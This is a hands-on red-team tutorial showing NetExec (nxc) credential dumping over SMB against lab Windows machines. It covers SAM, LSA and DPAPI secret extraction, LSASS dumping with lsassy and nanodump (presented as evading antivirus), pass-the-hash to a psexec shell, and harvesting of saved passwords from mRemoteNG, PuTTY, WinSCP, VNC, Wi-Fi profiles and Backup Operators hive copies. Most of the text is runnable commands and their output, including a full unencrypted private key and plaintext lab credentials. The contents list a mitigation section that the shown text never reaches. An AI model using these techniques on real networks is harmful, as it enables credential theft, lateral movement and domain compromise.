Credential Dumping with NetExec (nxc)

hackingarticles.in/credential-dumping-with-netexec-nxc

raj August 11, 2025

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 --sam
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWIN10
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Dumping SAM hashes
SMB         192.168.1.80    445    MSEDGEWIN10      Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e
SMB         192.168.1.80    445    MSEDGEWIN10      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73
SMB         192.168.1.80    445    MSEDGEWIN10      DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1
SMB         192.168.1.80    445    MSEDGEWIN10      WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:20ff03
SMB         192.168.1.80    445    MSEDGEWIN10      IEUser:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a76
SMB         192.168.1.80    445    MSEDGEWIN10      sshd:1002:aad3b435b51404eeaad3b435b51404ee:42760776cade85fd981
SMB         192.168.1.80    445    MSEDGEWIN10      [+] Added 6 SAM hashes to the database
```

In modern enterprise environments, **Active Directory credentials** are the ultimate prize for attackers. Whether you're a **red teamer**, **penetration tester**, or **adversary simulation professional**, gaining access to credentials is essential for **privilege escalation**, **lateral movement**, and **persistence**. But how do attackers actually collect these credentials in real-world scenarios? Enter **NetExec (nxc)** a powerful, modern post-exploitation framework and the advanced successor to CrackMapExec. NetExec is built to automate and streamline **credential dumping**, making it one of the most effective tools for red teams and security professionals working in **Windows and Active Directory environments**.

What Is NetExec (nxc)?

NetExec is a **post-exploitation Swiss Army knife** designed for internal network operations. With extensive support for **SMB**, **WinRM**, and other protocols, it allows attackers to gather credentials from multiple sources including:

- LSASS memory (plaintext and NTLM hashes
- Windows registry and Winlogon keys
- Browsers, Wi-Fi profiles, and SSH clients
- LAPS-managed passwords and NTDS.dit database
- gMSA (Group Managed Service Accounts) secrets
- Third-party tools like **PuTTY**, **mRemoteNG**, and **Notepad++**

In this hands-on guide, we walk through a **step-by-step red team simulation** using **NetExec over SMB** to demonstrate how attackers collect credentials from a misconfigured Active Directory environment. Each step represents a real-world tactic commonly seen in offensive security operations.

Why This Matters for Red and Blue Teams?

For **red teamers**, this guide shows how NetExec can be weaponized to identify and exploit weak configurations within minutes; simulating realistic post-exploitation behavior that adversaries use daily.

For **blue team defenders** and **SOC analysts**, it highlights **critical detection opportunities** and misconfiguration pitfalls that often go unnoticed, including:

- Stored credentials in plain text
- Misused service accounts
- Poor Wi-Fi and registry hygiene
- Over-permissive user group memberships (e.g., Backup Operators)

Table of Content

- **Dump Local SAM Hashes**
- **Test Hash as Login Credential**
- **Extract LSA Secrets**
- **Retrieve Winlogon Registration Data**
- **Dump DAPI Password Credentials**
- **Extract Credentials from LSASS via LSASSASSY**
- **Dumping LSASS Memory with nanodump Module**
- **Extracting Stored Credentials from mRemoteNG Configuration**
- **Retrieve PuTTY Private Key Files**
- **Extract Notepad++ Session Logs**
- **Retrieve PowerShell Command History**
- **Extract WinSCP Configuration Files**
- **Dumping VNC Passwords**
- **Extract Wi-Fi Profiles/PSKs as Administrator**
- **Dumping Backup Operators Permission**
- **Dumping NTDS.dit Using an Authenticated User**
- **Extract gMSA Credentials**
- **Retrieve LAPS Password via NetExec (nxc)**
- **Mitigation**

Ready to unlock the next level of password dumping? Let's dive into NXC SMB post-access enumeration, leveraging **NetExec** to dump credentials in multiple ways.

Dump Local SAM Hashes

nxc smb 192.168.1.80 -u ieuser -p 123 –sam
This command instructs **nxc** to authenticate to the target system over SMB and extract NTLM password hashes from the local **SAM** database, which stores credentials for local user accounts.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 --sam
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWIN10
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Dumping SAM hashes
SMB         192.168.1.80    445    MSEDGEWIN10      Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e
SMB         192.168.1.80    445    MSEDGEWIN10      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73
SMB         192.168.1.80    445    MSEDGEWIN10      DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1
SMB         192.168.1.80    445    MSEDGEWIN10      WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:20ff03
SMB         192.168.1.80    445    MSEDGEWIN10      IEUser:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a76
SMB         192.168.1.80    445    MSEDGEWIN10      sshd:1002:aad3b435b51404eeaad3b435b51404ee:42760776cade85fd981
SMB         192.168.1.80    445    MSEDGEWIN10      [+] Added 6 SAM hashes to the database
```

Why This Matters:

Accessing SAM hashes enables attackers to crack passwords offline. Perform **Pass-the-Hash** attacks across systems with shared local accounts, and maintain persistence by manipulating or recreating local users.

Test Hash as Login Credential

impacket-psexec ieuser@192.168.180 -hashes:3dbde697d71690a769204beb12283678
The command remotely executes actions using the captured NTLM hash, validating the stolen credentials and enabling lateral movement and privilege escalation across the network.

```
┌──(root㉿kali)-[~]
└─# impacket-psexec ieuser@192.168.1.80 -hashes :3dbde697d71690a769204beb12283678
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.1.80.....
[*] Found writable share ADMIN$
[*] Uploading file ZBplAlAL.exe
[*] Opening SVCManager on 192.168.1.80.....
[*] Creating service rULI on 192.168.1.80.....
[*] Starting service rULI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Extract LSA Secrets

LSA secrets are highly valuable in post-exploitation, as they store credentials, service account secrets, and decryption keys for other sensitive data. In enterprise networks, these secrets play a crucial role in enabling lateral movement between machines and services.

nxc smb 192.168.1.80 -u ieuser -p 123 --lsa
Then, this command retrieves LSA secrets, such as credentials and service keys, which contain long-lasting credentials and encrypted service passwords for persistent access.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 --lsa
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x6
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
SMB         192.168.1.80    445    MSEDGEWIN10      [+] Dumping LSA secrets
SMB         192.168.1.80    445    MSEDGEWIN10      dpapi_machinekey:0xabb4bd5d5a2eda56c06df3b5
dpapi_userkey:0x6c1937d47e8e35badea518daaef6ae7eee9f54a4
SMB         192.168.1.80    445    MSEDGEWIN10      [+] Dumped 1 LSA secrets to /root/.nxc/logs
_144025.cached
```

Retrieve Winlogon Registration Data

nxc smb 192.168.1.80 -u ieuser -p 123 -M reg-winlogon
This command leverages NetExec's **reg-winlogon** module to query the registry keys in **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon**, which control automatic logins in Windows. Key values like **AutoAdminLogon**, **DefaultUsername**, and **DefaultPassword** can store credentials in plaintext, making them a valuable target for credential harvesting, especially in misconfigured environments where automatic login is enabled.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M reg-winlogon
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 1776
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
REG-WINL ... 192.168.1.80   445    MSEDGEWIN10      AutoAdminLogon: 0
REG-WINL ... 192.168.1.80   445    MSEDGEWIN10      DefaultDomainName: MSEDGEWIN10
REG-WINL ... 192.168.1.80   445    MSEDGEWIN10      DefaultUserName: IEUser
REG-WINL ... 192.168.1.80   445    MSEDGEWIN10      DefaultPassword: 123
```

Dump DPAPI Password Credentials

DPAPI (Data Protection API) is a Windows feature that securely stores user secrets like web credentials, browser passwords, Outlook, RDP, WiFi, and cached domain credentials, encrypting them with user-specific keys stored locally.

nxc smb 192.168.1.80 -u ieuser -p 123 --dapi
Then, this command retrieves passwords stored by legacy **DAPI** services, which can serve as a vector for **privilege escalation** on older Windows systems vulnerable to outdated credential management.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 --dpapi
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWIN10) (domain:MSEDGEWIN10)
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         192.168.1.80    445    MSEDGEWIN10      [+] Got 7 decrypted masterkeys. Looting secrets...
SMB         192.168.1.80    445    MSEDGEWIN10      [IEUser][CREDENTIAL] Domain:target=192.168.1.43 - raj:Password@1
SMB         192.168.1.80    445    MSEDGEWIN10      [IEUser][MSEDGE] https://www.facebook.com/login/ - rrajchandel@gmail.com:Password@1
SMB         192.168.1.80    445    MSEDGEWIN10      [IEUser][FIREFOX] https://www.linkedin.com - pentestroot:Password@1
```

This reveals:

***Note**: This is a **post-exploitation goldmine**; allowing lateral movement, credential chaining, and account hijacking across services.*

Extract Credentials from LSASS via LSASSASSY

nxc smb 192.168.1.80 -u ieuser -p 123 -M lsassy
This command uses NetExec's **lsassy** module to extract credentials directly from **LSASS (Local Security Authority Subsystem Service)**, a critical Windows process managing logins and sensitive data like password hashes and Kerberos tickets. It automates credential dumping using methods such as **Procdump via SMB**, **Comsvcs.dll injection**, and **MiniDumpWriteDump APIs**.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M lsassy
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MS
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
LSASSY      192.168.1.80    445    MSEDGEWIN10      MSEDGEWIN10\IEUser 3dbde697d71690a769204beb12283678
LSASSY      192.168.1.80    445    MSEDGEWIN10      192.168.1.43\raj Password@1
```

Why It Matters:

LSASS stores sensitive data in memory, including **NTLM hashes**, **clear-text passwords** (if **WDigest** is enabled), **Kerberos tickets**, and **cached credentials**. Dumping this information grants attackers valuable post-exploitation access, particularly if domain admins or other privileged users are logged in.

Dumping LSASS Memory with nanodump Module

nxc smb 192.168.1.80 -u ieuser -p 123 -M nanodump
This command uses NetExec's **nanodump** module to remotely dump LSASS contents using the **NanoDump** tool, a modern, stealthy LSASS dumper designed to bypass security measures like **Windows Defender**, **Anti-malware Scan Interface (AMSI)**, and **LSASS access restrictions**. It employs SMB to deliver and execute NanoDump, capture LSASS memory, and store the dump file locally.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M nanodump
[*] Ignore OPSEC in configuration is set and OPSEC unsafe module loaded
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWI
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [*] 64-bit Windows detected.
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [+] Created file nano.exe on the \\C$\Windows\Temp\
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [*] Getting LSASS PID via command tasklist /v /fo csv | fin
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [*] Executing command C:\Windows\Temp\nano.exe --pid 604 --
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [+] Process lsass.exe was successfully dumped
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [*] Copying 20250522_1505.log to host
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [+] Dumpfile of lsass.exe was transferred to /tmp/MSEDGEWIN
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [+] Deleted nano file on the C$ share
NANODUMP    192.168.1.80    445    MSEDGEWIN10      [+] Deleted lsass.dmp file on the C$ share
NANODUMP    192.168.1.80    445    MSEDGEWIN10      MSEDGEWIN10\IEUser:3dbde697d71690a769204beb12283678
NANODUMP    192.168.1.80    445    MSEDGEWIN10      192.168.1.43\raj:Password@1
NANODUMP    192.168.1.80    445    MSEDGEWIN10      MSEDGEWIN10\IEUser:3dbde697d71690a769204beb12283678
NANODUMP    192.168.1.80    445    MSEDGEWIN10      192.168.1.43\raj:Password@1
```

Why It's Effective:

NanoDump is highly effective in **credential harvesting** because it bypasses detection from **AV/EDR systems**, avoids access restrictions, and produces a clean **.dmp** file for offline analysis, making it a more stealthy and reliable method compared to older tools.

Extracting Stored Credentials from mRemoteNG Configuration

nxc smb 192.168.1.80 -u ieuser -p 123 -M mremoteng
This command targets the **mRemoteNG** application, a remote connection manager commonly used by sysadmins. The **NetExec mremoteng** module searches for configuration files like **confCons.xml**, decrypts stored credentials using known static keys, and displays them in cleartext for further use.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M mremoteng
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWIN10) (doma
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
MREMOTENG   192.168.1.80    445    MSEDGEWIN10      SSH: SSH2://192.168.1.88:22 - 192.168.1.88\ignite:123
MREMOTENG   192.168.1.80    445    MSEDGEWIN10      RDP: RDP://192.168.1.53:3389 - 192.168.1.53\administrator:Ignite@987
```

Why It's Effective:

Admins often store high-privilege credentials or reuse passwords in remote session managers for convenience. If **mRemoteNG** is found, the dumped credentials could include **Domain Admins**, **service accounts**, or other privileged users, enabling immediate lateral movement via **WinRM**, **RDP**, or **SSH**.

Retrieve PuTTY Private Key Files

nxc smb 192.168.1.80 -u ieuser -p 123 -M putty
This command uses NetExec's **putty** module to locate and extract **SSH private keys** stored by **PuTTY**, a popular SSH client for Windows. It searches both the Windows registry (**HKCU\Software\SimonTatham\PuTTY\Sessions**) and disk files (commonly in **.ppk** format), retrieving saved hostnames, usernames, and private keys (either encrypted or plain).

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M putty
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDG
EWIN10) (domain:MSEDGEWIN10) (signing:False) (SMBv1:False)
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
PUTTY       192.168.1.80    445    MSEDGEWIN10      [+] Private key found for user "IEUser", saved to /root/
.nxc/modules/PuTTY/putty_IEUser_Ubuntu Key_2025-05-22_175949.sec
PUTTY       192.168.1.80    445    MSEDGEWIN10      Sessionname: Ubuntu Key
PUTTY       192.168.1.80    445    MSEDGEWIN10      Host: 192.168.1.89:22
PUTTY       192.168.1.80    445    MSEDGEWIN10      Protocol: ssh
```

Why It's Effective:

Admins often use **PuTTY** to manage **Linux servers** or network devices, and private keys may be stored with weak or no passphrases. If SSH keys are reused across different environments, this allows attackers to gain **SSH-level access** without needing a password.

View the Dumped Key Locally

cat 'putty_IEUser_UbuntuKey_2025-05-22_175949.sec'
Displays the extracted private key or passphrase information. Test the extracted SSH keys on accessible targets using ssh -i for Linux or tools like **Plink** or **WinSCP** for Windows.

```
┌──(root㉿kali)-[~/.nxc/modules/PuTTY]
└─# cat 'putty_IEUser_Ubuntu Key_2025-05-22_175949.sec'
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20250522
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQC/++IYDRkWVSx0vMLVsJ8zkBbJshyg1MXu
G0slUjBtTnPOsw5mH05h8jmWz+h/bbbo1GvBmD3O0d2gMpIKRCNULdzAxHeR6gmU
ZdkZRCpoW7lG6auojhH/0mJJSui3jRAr/ch5i0VSPRSpvYHuo4t9eD1y1v6FIXJd
79SvfwyJIP+ArEg0GJ2+l/F4+84ohF+Eje7l5T7Zsw0lWZ4A2EytWvxz9wiK/sVz
dCoKX1QVY3JqpPxmGzoWUnGrEVh6VeDfnd6z6tfbl5SE6QBkjZxFdAk1G63RDqp6
alRWW2hyASFt5eMGJTQb1NPG/ckE9v6pMlKLHRDuG4Ay/4MjIA4x
Private-Lines: 14
AAABAE1WCh3mKNT2OpJL97BdFcSPpp5ZQW8IRzNDi2HdWeSuVbhOKN66fbi2+rvl
xKKQb74a082Ipl1J7R07Qdkg2ZpvXx3IBuKghHtjC7FB5FNln50RRDUCBf4nobAk
nNpT2M/fy4IquCIIuOonjM+00dwZM6evM5gtgQSWN/b6FvKlxYt5s8S42/Q7zjPs
+pVaPpP/O12XtZvdvSxD5xcEayfjXIRXabfRuf+6LaXLetbmumxlHes8hvgXyB2F
vFkw6sxC5xeF4UJbvKJRRCQcEUKieaQm5Chyq0TNtpG83y9vKxvxfYxcS8/zEcDH
r6uVMQqycl5Kw3R56J35mC6e+oEAAACBAOYKWq8W7IW5LKMg/ihrrGW7UBRc2IPZ
Gjh5hYU/dmqvwqd02kQkKefvKzymf1/hMGqHm2PHr0D6Gumqy5gliMvJEn7Rw4El
y2IJF5SjnMNi764upamnZTs679BoVLkCPIGna/wIXZAH64KCKMgcO3QFhqyb/jP7
e+Qb4yWNICAjAAAAgQDVphzammmG+5HCjge/KO/8cNOUv3pkPOsg6KMxAh/EZHmR
vcFm2k7zsHZpgvjFoqbqiG73GklaWG2Fn1LX7LiQTkQgornfKeFOvXeuQvSshipn
X4NHWYmXq4g2q27Ic6muQHVPlZPlbtdNqb6AkS4Te+r6fAaket9AAkyO2C4TmwAA
AIAohZOhKfpeGzmsTpwFX63XsLmGA+ZCUTetr8×73NU3o8WhSLAmWxWSpCoFAU74
AdQcmqQN2UP3ZqkcVoDb+ShwP3/aTCytDXl9KBV5iLXd3p6bVcfeqTulQy+REJUm
juvmJtcE7xtosMz5yKHRFvOovR9y43qVE4+sGY/3j5N32A==
Private-MAC: 1f11040647e8d4b9d346398d23ecdd9e3c0cc1e5dc3626f5eb988904a8e42c62
```

Extract Notepad++ Session Logs

nxc smb 192.168.1.80 -u ieuser -p 123 -M notepad++
This command uses **NetExec's notepad++ module** to locate session data, configuration files, or backups saved by **Notepad++**, a popular text editor. While Notepad++ isn't designed for credential storage, its autosave feature may inadvertently retain **passwords in scripts**, **open files with sensitive data**, or even

clipboard history.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M notepad++
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (na
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10      C:\Users\IEUser\AppData\Roaming\Notepad++\backup
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10          domain ignite.local
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10          user name: administrator
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10          password: ignite@987
NOTEPAD++   192.168.1.80    445    MSEDGEWIN10      Notepad++ backup written to: /root/.nxc/modules/
```

Why This Matters:

Developers, sysadmins, or red teamers may temporarily store secrets in Notepad++ while working. Session recovery or backup files can persist even after the editor is closed and can be accessed via **SMB** if you have proper credentials and share access.

***Note**: This step enhances reconnaissance in the credential harvesting process, and while not always successful, it can uncover valuable assets such as access tokens, database connection strings, and SSH or admin credentials embedded in plaintext scripts.*

Retrieve PowerShell Command History

nxc smb 192.168.1.80 -u ieuser -p 123 -M powershell_history
This command uses the **powershell_history module** in **NetExec** to retrieve and analyze PowerShell command logs from a target user's system.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M powershell_history

SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17763 x64 (name:MSEDGEWIN10) (domain:MSE
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10      C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Con
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          Set-MpPreference -DisableRealtimeMonitoring $true
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          firewall.cpl
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          ipconfig
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          mstsc
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          ipconfig
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          cd Downloads
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          dir
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpChrome.exe
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpChrome.exe -h
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpChrome.exe --help
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpDPAPI.exe
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpDPAPI.exe credentials
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpDPAPI.exe --help
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          SharpDPAPI.exe -h
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          exit
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          Enter-PSSession -ComputerName 192.168.1.53 -Credential administrator
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 CMD
POWERSHE ...  192.168.1.80    445    MSEDGEWIN10          winrs -r:192.168.1.53 -u:workstation\administrator -p:Ignite@987 CMD
```

By default, PowerShell stores command history in:

C:\Users\IEUser(user)\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Why This Is Valuable

Attackers, admins, or developers frequently run credential-related commands in PowerShell, such as net use commands with hardcoded passwords, AD enumeration tools with -Credential arguments, or commands like Set-ADAccountPassword and New-ADUser. If not cleared, these commands are logged and can be retrieved to gain access to sensitive information.

***Note**: PowerShell history can expose plaintext credentials or system details, enhancing post-exploitation by enabling lateral movement or privilege escalation based on user activity.*

Extract WinSCP Configuration Files

nxc smb 192.168.1.80 -u ieuser -p 123 -M winscp
This command uses **NetExec's winscp module** to extract saved **WinSCP site profiles**, which may include **remote hostnames, usernames, passwords** (in plaintext or Base64), and **SSH keys**, stored either in the **WinSCP.ini** file or the **Windows Registry**, potentially allowing attackers to access **FTP/SFTP/SSH** targets, extract data, or deploy payloads.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M winscp
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
WINSCP      192.168.1.80    445    MSEDGEWIN10      [*] Looking for WinSCP creds in Reg
WINSCP      192.168.1.80    445    MSEDGEWIN10      [+] Found 1 sessions for user "IEUs
WINSCP      192.168.1.80    445    MSEDGEWIN10        ======ignite@192.168.1.75======
WINSCP      192.168.1.80    445    MSEDGEWIN10        HostName: 192.168.1.75
WINSCP      192.168.1.80    445    MSEDGEWIN10        UserName: ignite
WINSCP      192.168.1.80    445    MSEDGEWIN10        Password: 1234
WINSCP      192.168.1.80    445    MSEDGEWIN10      [*] Looking for WinSCP creds in Use
```

Dumping VNC Passwords

nxc smb 192.168.1.80 -u ieuser -p 123 -M vnc
This command uses **NetExec's vnc module** to search for stored **VNC credentials** on the target machine, scanning common registry keys or configuration files where VNC clients (like **UltraVNC**, **RealVNC**, and **TightVNC**) often store access passwords, which may be poorly encrypted or even in plaintext. It looks in locations like:

- **HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Password**
- **HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver**

NetExec attempts to decode any found credentials.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.80 -u ieuser -p 123 -M vnc
SMB         192.168.1.80    445    MSEDGEWIN10      [*] Windows 10 / Server 2019 Build 17
SMB         192.168.1.80    445    MSEDGEWIN10      [+] MSEDGEWIN10\ieuser:123 (Pwn3d!)
VNC         192.168.1.80    445    MSEDGEWIN10      [TightVNC] Password: 123
```

Why This Is Important:

VNC provides remote desktop access, and if passwords are extracted from the registry or config files, attackers can access systems without needing valid user credentials. These passwords are often reused across multiple systems, enabling **lateral movement** and maintaining **persistence** on the network.

***Note**: Harvesting VNC credentials lets attackers bypass Windows authentication, often found in exposed legacy systems or unmanaged remote support setups.*

Extracting Wi-Fi Credentials

nxc smb 192.168.1.46 -u administrator -p 123 -M wifi

This command uses NetExec's **wifi** module in order to extract stored Wi-Fi credentials (SSIDs and PSKs) from a target Windows machine by querying **PowerShell** or reading registry paths. Thereby allowing attackers to access internal networks, pivot to insecure Wi-Fi zones, and reuse credentials for other access.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.46 -u administrator -p 123 -M wifi

SMB         192.168.1.46    445    DESKTOP-KDBNJ3B  [*] Windows 11 / Server 2025 Build 26100 x64 (name:DESKTO
SMB         192.168.1.46    445    DESKTOP-KDBNJ3B  [+] DESKTOP-KDBNJ3B\administrator:123 (Pwn3d!)
SMB         192.168.1.46    445    DESKTOP-KDBNJ3B  [*] Collecting DPAPI masterkeys, grab a coffee and be pat
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [+] Got 52 decrypted masterkeys. Looting Wifi interfaces
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] CorpWifi - Passphrase: 12345678
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] uday - Passphrase: 11112222
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] Ankur - Passphrase: 999054482
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] Galaxy A13 F2C3 - Passphrase: 12345678
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] kolamarathuhouse_5G - Passphrase: gaur@0653
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] Leoney Resort 1 - Passphrase: LAINEY777
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] Ignite 5g - Passphrase: raj12345
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] JioFiber-G 653_5G - Passphrase: 11223344
WIFI        192.168.1.46    445    DESKTOP-KDBNJ3B  [WPA2PSK] Forest Vines Resort - Passphrase: vines1221
```

Dumping Backup Operators Permission

nxc smb 192.168.1.531 -M backup_operator
This command uses **NetExec's -M backup_operator module** to check if a user (e.g., **raj**) is a member of the **Backup Operators** group. Similarly checks whether they can read sensitive files, such as **SAM**, **SYSTEM**, **SECURITY**, and **NTDS.dit**, which are typically restricted to administrators.

```
┌──(root㉿kali)-[~]
└─# nxc smb 192.168.1.53 -u raj -p Password@1 -M backup_operator
SMB         192.168.1.53    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:igni
SMB         192.168.1.53    445    DC               [+] ignite.local\raj:Password@1
BACKUP_O ...  192.168.1.53    445    DC               [*] Triggering RemoteRegistry to start through named pipe ...
BACKUP_O ...  192.168.1.53    445    DC               Saved HKLM\SAM to \\192.168.1.53\SYSVOL\SAM
BACKUP_O ...  192.168.1.53    445    DC               Saved HKLM\SYSTEM to \\192.168.1.53\SYSVOL\SYSTEM
BACKUP_O ...  192.168.1.53    445    DC               Saved HKLM\SECURITY to \\192.168.1.53\SYSVOL\SECURITY
SMB         192.168.1.53    445    DC               [*] Copying "SAM" to "/root/.nxc/logs/DC_192.168.1.53_2025-05-22_16
SMB         192.168.1.53    445    DC               [+] File "SAM" was downloaded to "/root/.nxc/logs/DC_192.168.1.53_2
SMB         192.168.1.53    445    DC               [*] Copying "SECURITY" to "/root/.nxc/logs/DC_192.168.1.53_2025-05-
SMB         192.168.1.53    445    DC               [+] File "SECURITY" was downloaded to "/root/.nxc/logs/DC_192.168.1
SMB         192.168.1.53    445    DC               [*] Copying "SYSTEM" to "/root/.nxc/logs/DC_192.168.1.53_2025-05-22
SMB         192.168.1.53    445    DC               [+] File "SYSTEM" was downloaded to "/root/.nxc/logs/DC_192.168.1.5
BACKUP_O ...  192.168.1.53    445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e
BACKUP_O ...  192.168.1.53    445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
BACKUP_O ...  192.168.1.53    445    DC               DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93
BACKUP_O ...  192.168.1.53    445    DC               $MACHINE.ACC:plain_password_hex:590a25d0c58f005d1ce04f3f004ef3e9a66
